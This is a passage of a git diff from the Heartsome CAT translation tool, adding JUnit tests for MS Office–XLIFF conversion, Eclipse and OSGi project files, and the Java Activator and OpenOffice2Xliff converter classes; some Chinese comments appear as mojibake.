args.put(Converter.ATTR_SKELETON_FILE, sklXlsxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertDocx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertPptx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java new file mode 100644 index 0000000..cf6c308 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java @@ -0,0 +1,110 @@ +package net.heartsome.cat.converter.msoffice2007.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2007.Xliff2MSOffice; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class Xliff2MSOfficeTest { + public static Xliff2MSOffice converter = new Xliff2MSOffice(); + private String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String xlfDocxFile = "rc/Test.docx.xlf"; + private static String sklDocxFile = "rc/Test.docx.skl"; + private static String tgtDocxFile = "rc/Test_en-US.docx"; + + private static String xlfXlsxFile = "rc/Test.xlsx.xlf"; + private static String sklXlsxFile = "rc/Test.xlsx.skl"; + private static String tgtXlsxFile = "rc/Test_en-US.xlsx"; + + private static String xlfPptxFile = "rc/Test.pptx.xlf"; + private static String sklPptxFile = "rc/Test.pptx.skl"; + private static String tgtPptxFile = "rc/Test_en-US.pptx"; + + @BeforeClass + public static void setUp() { + File tgt = new File(tgtXlsxFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtDocxFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtPptxFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertXlsx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtXlsxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklXlsxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertDocx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtDocxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfDocxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklDocxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertPptx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtPptxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfPptxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklPptxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/.classpath b/hsconverter/net.heartsome.cat.converter.openoffice/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/.project b/hsconverter/net.heartsome.cat.converter.openoffice/.project new file mode 100644 index 0000000..52f0e88 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.openoffice + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.openoffice/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..f8d2b06 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:12:27 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.openoffice/META-INF/MANIFEST.MF new file mode 100644 index 0000000..3e5f984 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/META-INF/MANIFEST.MF @@ -0,0 +1,17 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter OpenOffice +Bundle-SymbolicName: net.heartsome.cat.converter.openoffice +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.openoffice.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.xml, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Export-Package: net.heartsome.cat.converter.openoffice +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/build.properties b/hsconverter/net.heartsome.cat.converter.openoffice/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Activator.java b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Activator.java new file mode 100644 index 0000000..ac56030 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Activator.java @@ -0,0 +1,233 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.openoffice; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; +import net.heartsome.cat.converter.xml.Xliff2Xml; +import net.heartsome.cat.converter.xml.Xml2Xliff; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.openoffice"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the xml converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xml2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), new XmlPositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2Xml.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), new XmlReverseCustomize()); + reverseTracker.open(); + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the xML converter. + * @param direction + * the direction + * @return the xML converter + */ + public static Converter getXMLConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new Xml2Xliff(); + } else { + return new Xliff2Xml(); + } + } + + /** + * The Class XmlPositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlPositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter inx2Xliff = new OpenOffice2Xliff(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, OpenOffice2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, OpenOffice2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, OpenOffice2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, inx2Xliff, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class XmlReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2Inx = new Xliff2OpenOffice(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2OpenOffice.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2OpenOffice.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2OpenOffice.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, xliff2Inx, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/OpenOffice2Xliff.java b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/OpenOffice2Xliff.java new file mode 100644 index 0000000..84b0da0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/OpenOffice2Xliff.java @@ -0,0 +1,459 @@ +/** + * OpenOffice2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.openoffice; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.openoffice.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.xml.sax.SAXException; + +/** + * The Class OpenOffice2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class OpenOffice2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-openoffice"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("openoffice.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "OpenOffice to XLIFF Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public OpenOffice2Xliff() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_POSITIVE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public OpenOffice2Xliff(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + OpenOffice2XliffImpl converter = new OpenOffice2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * The Class OpenOffice2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class OpenOffice2XliffImpl { + + /** The merged. */ + private Document merged; + + /** The merged root. */ + private Element mergedRoot; + + /** The zip in. */ + private ZipInputStream zipIn; + + /** The zip out. */ + private ZipOutputStream zipOut; + + /** The src file. */ + private String srcFile; + + /** The skeleton. */ + private String skeleton; + + /** The is suite. */ + private boolean isSuite; + + private String type ; + /** + * Count segments. + * @param string + * the string + * @return the int + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private int countSegments(String string) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(string); + Element root = doc.getRootElement(); + return root.getChild("file").getChild("body").getChildren("trans-unit").size(); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + /** + * Save entry. + * @param entry + * the entry + * @param name + * the name + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void saveEntry(ZipEntry entry, String name) throws IOException { + ZipEntry content = new ZipEntry(entry.getName()); + content.setMethod(ZipEntry.DEFLATED); + zipOut.putNextEntry(content); + FileInputStream input = new FileInputStream(name); + byte[] array = new byte[1024]; + int len; + while ((len = input.read(array)) > 0) { + zipOut.write(array, 0, len); + } + zipOut.closeEntry(); + input.close(); + } + + /** + * Adds the file. + * @param xliff + * the xliff + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void addFile(String xliff) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliff); + Element root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + Element newFile = new Element("file", merged); //$NON-NLS-1$ + newFile.clone(file, merged); + mergedRoot.addContent(newFile); + File f = new File(xliff); + f.delete(); + } + + /** + * Update xliff. + * @param xliff + * the xliff + * @param original + * the original + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void updateXliff(String xliff, String original) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliff); + Element root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + file.setAttribute("datatype", type); //$NON-NLS-1$ + // file.setAttribute("original", TextUtil.cleanString(srcFile)); //$NON-NLS-1$ + Element header = file.getChild("header"); //$NON-NLS-1$ + Element elePropGroup = new Element("hs:prop-group", doc); //$NON-NLS-1$ + elePropGroup.setAttribute("name", "document"); //$NON-NLS-1$ //$NON-NLS-2$ + + Element originalProp = new Element("hs:prop", doc); //$NON-NLS-1$ + originalProp.setAttribute("prop-type", "original"); //$NON-NLS-1$ //$NON-NLS-2$ + originalProp.setText(original); + header.addContent("\n"); //$NON-NLS-1$ + elePropGroup.addContent(originalProp); + + Element srcFileProp = new Element("hs:prop", doc); //$NON-NLS-1$ + srcFileProp.setAttribute("prop-type", "sourcefile"); //$NON-NLS-1$ //$NON-NLS-2$ + srcFileProp.setText(srcFile); + header.addContent("\n"); //$NON-NLS-1$ + elePropGroup.addContent(srcFileProp); + + header.addContent(elePropGroup); + Element ext = header.getChild("skl").getChild("external-file"); //$NON-NLS-1$ //$NON-NLS-2$ + ext.setAttribute("href", TextUtil.cleanString(skeleton)); //$NON-NLS-1$ + if (isSuite) { + ext.setAttribute("crc", "" + CRC16.crc16(TextUtil.cleanString(skeleton).getBytes("UTF-8"))); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(xliff); + outputter.output(doc, output); + output.close(); + } + + private void setType(String args ){ + if("true".equals(args)){ + type="x-msoffice2003"; + }else{ + type=TYPE_VALUE; + } + } + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + srcFile = args.get(Converter.ATTR_SOURCE_FILE); + setType(args.get("isofficefile")); + String xliff = args.get(Converter.ATTR_XLIFF_FILE); + skeleton = args.get(Converter.ATTR_SKELETON_FILE); + isSuite = false; + if (Converter.TRUE.equals(args.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + try { + // 把总任务分为压缩文件中的æ¡ç›®ä¸ªæ•°ï¼‹1;其中最åŽä¸€ä¸ªä»»åŠ¡ä¸º library3 写åˆå¹¶åŽçš„ xliff 文件。 + ZipFile zipFile = new ZipFile(srcFile); + int size = zipFile.size(); + int totalTask = size + 1; + monitor.beginTask("", totalTask); + merged = new Document(null, "xliff", null, null); //$NON-NLS-1$ + mergedRoot = merged.getRootElement(); + mergedRoot.setAttribute("version", "1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns", "urn:oasis:names:tc:xliff:document:1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance"); //$NON-NLS-1$ //$NON-NLS-2$ + mergedRoot.setAttribute("xmlns:hs", Converter.HSNAMESPACE); //$NON-NLS-1$ + mergedRoot + .setAttribute( + "xsi:schemaLocation", "urn:oasis:names:tc:xliff:document:1.2 xliff-core-1.2-transitional.xsd " + Converter.HSSCHEMALOCATION); //$NON-NLS-1$ //$NON-NLS-2$ + + zipOut = new ZipOutputStream(new FileOutputStream(skeleton)); + zipIn = new ZipInputStream(new FileInputStream(srcFile)); + ZipEntry entry = null; + while ((entry = zipIn.getNextEntry()) != null) { + // 标识当å‰çš„æ¡ç›®æ˜¯å¦å§”托其他转æ¢å™¨è¿›è¡Œè½¬æ¢ + boolean isDelegation = false; + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("openoffice.cancel")); + } + String messagePattern = Messages.getString("openoffice.OpenOffice2Xliff.msg1"); + String message = MessageFormat.format(messagePattern, new Object[] { entry.getName() }); + monitor.subTask(message); + if (entry.getName().matches(".*\\.[xX][mM][lL]")) { //$NON-NLS-1$ + File f = new File(entry.getName()); + String name = f.getName(); + String tmpFileName = name.substring(0, name.lastIndexOf(".")); //$NON-NLS-1$ + if (tmpFileName.length() < 3) { + tmpFileName += "_tmp"; //$NON-NLS-1$ + } + File tmp = File.createTempFile(tmpFileName, ".xml"); + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = zipIn.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + try { + Map table = new HashMap(); + table.put(Converter.ATTR_SOURCE_FILE, tmp.getAbsolutePath()); + table.put(Converter.ATTR_XLIFF_FILE, tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + table.put(Converter.ATTR_SKELETON_FILE, tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + table.put(Converter.ATTR_CATALOGUE, args.get(Converter.ATTR_CATALOGUE)); + table.put(Converter.ATTR_SOURCE_LANGUAGE, args.get(Converter.ATTR_SOURCE_LANGUAGE)); + table.put(Converter.ATTR_TARGET_LANGUAGE, args.get(Converter.ATTR_TARGET_LANGUAGE)); + table.put(Converter.ATTR_SOURCE_ENCODING, args.get(Converter.ATTR_SOURCE_ENCODING)); + table.put(Converter.ATTR_PROGRAM_FOLDER, args.get(Converter.ATTR_PROGRAM_FOLDER)); + table.put(Converter.ATTR_SEG_BY_ELEMENT, args.get(Converter.ATTR_SEG_BY_ELEMENT)); + table.put(Converter.ATTR_SRX, args.get(Converter.ATTR_SRX)); + table.put(Converter.ATTR_FORMAT, TYPE_VALUE); + + Converter converter = dependantConverter; + boolean hasError = false; + Map res = null; + try { + // 委托其它转æ¢å™¨è¿›è¡Œæ“作 + res = converter.convert(table, Progress.getSubMonitor(monitor, 1)); + isDelegation = true; + } catch (ConverterException ce) { + hasError = true; + } + + if (res == null || res.get(Converter.ATTR_XLIFF_FILE) == null) { + hasError = true; + } + + if (!hasError) { + if (countSegments(tmp.getAbsolutePath() + ".xlf") > 0) { //$NON-NLS-1$ + updateXliff(tmp.getAbsolutePath() + ".xlf", entry.getName()); //$NON-NLS-1$ + addFile(tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + ZipEntry content = new ZipEntry(entry.getName() + ".skl"); //$NON-NLS-1$ + content.setMethod(ZipEntry.DEFLATED); + zipOut.putNextEntry(content); + FileInputStream input = new FileInputStream(tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + byte[] array = new byte[1024]; + while ((len = input.read(array)) > 0) { + zipOut.write(array, 0, len); + } + zipOut.closeEntry(); + input.close(); + } else { + saveEntry(entry, tmp.getAbsolutePath()); + } + File skl = new File(tmp.getAbsolutePath() + ".skl"); //$NON-NLS-1$ + skl.delete(); + File xlf = new File(tmp.getAbsolutePath() + ".xlf"); //$NON-NLS-1$ + xlf.delete(); + } else { + saveEntry(entry, tmp.getAbsolutePath()); + } + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + // do nothing + saveEntry(entry, tmp.getAbsolutePath()); + } + tmp.delete(); + } else { + // not an XML file + File tmp = File.createTempFile("zip", ".tmp"); //$NON-NLS-1$ //$NON-NLS-2$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = zipIn.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + saveEntry(entry, tmp.getAbsolutePath()); + tmp.delete(); + } + // 如果当å‰æ¡ç›®æ²¡æœ‰å§”托其它转æ¢å™¨è¿›è¡Œæ“作,则需è¦æŠŠä»»åŠ¡çš„处ç†è¿›åº¦åŠ  1 + if (!isDelegation) { + monitor.worked(1); + } + } + + zipOut.close(); + + // output final XLIFF + + // fixed a bug 572 by john. keep a well-format of xliff. add a empty + // file into xliff if root have not file element. + List files = mergedRoot.getChildren("file"); //$NON-NLS-1$ + if (files.size() == 0) { + Element file = new Element("file", merged); //$NON-NLS-1$ + file.setAttribute("original", srcFile); //$NON-NLS-1$ + file.setAttribute("source-language", args.get("srcLang")); //$NON-NLS-1$ //$NON-NLS-2$ + file.setAttribute("datatype", type); //$NON-NLS-1$ + Element header = new Element("header", merged); //$NON-NLS-1$ + Element body = new Element("body", merged); //$NON-NLS-1$ + file.addContent(header); + file.addContent("\n"); //$NON-NLS-1$ + file.addContent(body); + mergedRoot.addContent(file); + header = null; + body = null; + file = null; + } + files = null; + + // ç”Ÿæˆ xliff 文件 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("openoffice.cancel")); + } + monitor.subTask(Messages.getString("openoffice.OpenOffice2Xliff.task2")); + + XMLOutputter outputter = new XMLOutputter(); + 